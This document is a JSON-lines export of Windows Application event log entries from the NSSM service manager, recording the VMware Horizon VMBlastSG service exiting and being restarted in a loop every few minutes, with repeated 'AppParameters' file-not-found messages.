{"@timestamp":1646745221312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158024","157940","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161346}}
{"@timestamp":1646745221327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161347}}
{"@timestamp":1646745221328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161348}}
{"@timestamp":1646745221329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161349}}
{"@timestamp":1646745221330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161350}}
{"@timestamp":1646745349824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161351}}
{"@timestamp":1646745349824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161352}}
{"@timestamp":1646745349825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157952","0"]}}},"module":"Application","provider":"nssm","sequence":161353}}
{"@timestamp":1646745349826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157952","157952","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161354}}
{"@timestamp":1646745349843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161355}}
{"@timestamp":1646745349844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161356}}
{"@timestamp":1646745349844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161357}}
{"@timestamp":1646745349845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161358}}
{"@timestamp":1646745478342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161359}}
{"@timestamp":1646745478344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161360}}
{"@timestamp":1646745478344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158476","0"]}}},"module":"Application","provider":"nssm","sequence":161361}}
{"@timestamp":1646745478345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158476","158476","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161362}}
{"@timestamp":1646745478367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161363}}
{"@timestamp":1646745478367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161364}}
{"@timestamp":1646745478368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161365}}
{"@timestamp":1646745478369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161366}}
{"@timestamp":1646745606896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161367}}
{"@timestamp":1646745606897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161368}}
{"@timestamp":1646745606898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158436","0"]}}},"module":"Application","provider":"nssm","sequence":161369}}
{"@timestamp":1646745606899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158436","158436","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161370}}
{"@timestamp":1646745606917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158572","0"]}}},"module":"Application","provider":"nssm","sequence":161371}}
{"@timestamp":1646745606918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158572","158436","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161372}}
{"@timestamp":1646745606936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161373}}
{"@timestamp":1646745606937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161374}}
{"@timestamp":1646745606937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161375}}
{"@timestamp":1646745606938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161376}}
{"@timestamp":1646745735449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161377}}
{"@timestamp":1646745735451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161378}}
{"@timestamp":1646745735451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158468","0"]}}},"module":"Application","provider":"nssm","sequence":161379}}
{"@timestamp":1646745735452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158468","158468","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161380}}
{"@timestamp":1646745735475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161381}}
{"@timestamp":1646745735475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161382}}
{"@timestamp":1646745735476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161383}}
{"@timestamp":1646745735477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161384}}
{"@timestamp":1646745863964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161385}}
{"@timestamp":1646745863967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161386}}
{"@timestamp":1646745863968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157244","0"]}}},"module":"Application","provider":"nssm","sequence":161387}}
{"@timestamp":1646745863968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157244","157244","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161388}}
{"@timestamp":1646745863984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161389}}
{"@timestamp":1646745863985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161390}}
{"@timestamp":1646745863985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161391}}
{"@timestamp":1646745863986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161392}}
{"@timestamp":1646745992624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161393}}
{"@timestamp":1646745992626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161394}}
{"@timestamp":1646745992627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158596","0"]}}},"module":"Application","provider":"nssm","sequence":161395}}
{"@timestamp":1646745992628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158596","158596","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161396}}
{"@timestamp":1646745992644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161397}}
{"@timestamp":1646745992645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161398}}
{"@timestamp":1646745992646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161399}}
{"@timestamp":1646745992646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161400}}
{"@timestamp":1646746121277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161401}}
{"@timestamp":1646746121277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161402}}
{"@timestamp":1646746121278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157868","0"]}}},"module":"Application","provider":"nssm","sequence":161403}}
{"@timestamp":1646746121278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157868","157868","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161404}}
{"@timestamp":1646746121302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161405}}
{"@timestamp":1646746121303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161406}}
{"@timestamp":1646746121303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161407}}
{"@timestamp":1646746121304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161408}}
{"@timestamp":1646746249808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161409}}
{"@timestamp":1646746249811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161410}}
{"@timestamp":1646746249811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157204","0"]}}},"module":"Application","provider":"nssm","sequence":161411}}
{"@timestamp":1646746249812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157204","157204","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161412}}
{"@timestamp":1646746249829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161413}}
{"@timestamp":1646746249831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161414}}
{"@timestamp":1646746249831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161415}}
{"@timestamp":1646746249831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161416}}
{"@timestamp":1646746378451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161417}}
{"@timestamp":1646746378452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161418}}
{"@timestamp":1646746378453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155616","0"]}}},"module":"Application","provider":"nssm","sequence":161419}}
{"@timestamp":1646746378455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155616","155616","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161420}}
{"@timestamp":1646746378477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161421}}
{"@timestamp":1646746378477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161422}}
{"@timestamp":1646746378477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161423}}
{"@timestamp":1646746378478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161424}}
{"@timestamp":1646746506981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161425}}
{"@timestamp":1646746506983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161426}}
{"@timestamp":1646746506984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157348","0"]}}},"module":"Application","provider":"nssm","sequence":161427}}
{"@timestamp":1646746506984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157348","157348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161428}}
{"@timestamp":1646746507001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161429}}
{"@timestamp":1646746507001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161430}}
{"@timestamp":1646746507002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161431}}
{"@timestamp":1646746507003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161432}}
{"@timestamp":1646746635534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161433}}
{"@timestamp":1646746635537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161434}}
{"@timestamp":1646746635537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158524","0"]}}},"module":"Application","provider":"nssm","sequence":161435}}
{"@timestamp":1646746635538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158524","158524","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161436}}
{"@timestamp":1646746635560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161437}}
{"@timestamp":1646746635561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161438}}
{"@timestamp":1646746635561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161439}}
{"@timestamp":1646746635562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161440}}
{"@timestamp":1646746764077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161441}}
{"@timestamp":1646746764079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161442}}
{"@timestamp":1646746764080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158700","0"]}}},"module":"Application","provider":"nssm","sequence":161443}}
{"@timestamp":1646746764081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158700","158700","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161444}}
{"@timestamp":1646746764097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161445}}
{"@timestamp":1646746764098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161446}}
{"@timestamp":1646746764098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161447}}
{"@timestamp":1646746764099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161448}}
{"@timestamp":1646746892614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161449}}
{"@timestamp":1646746892615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161450}}
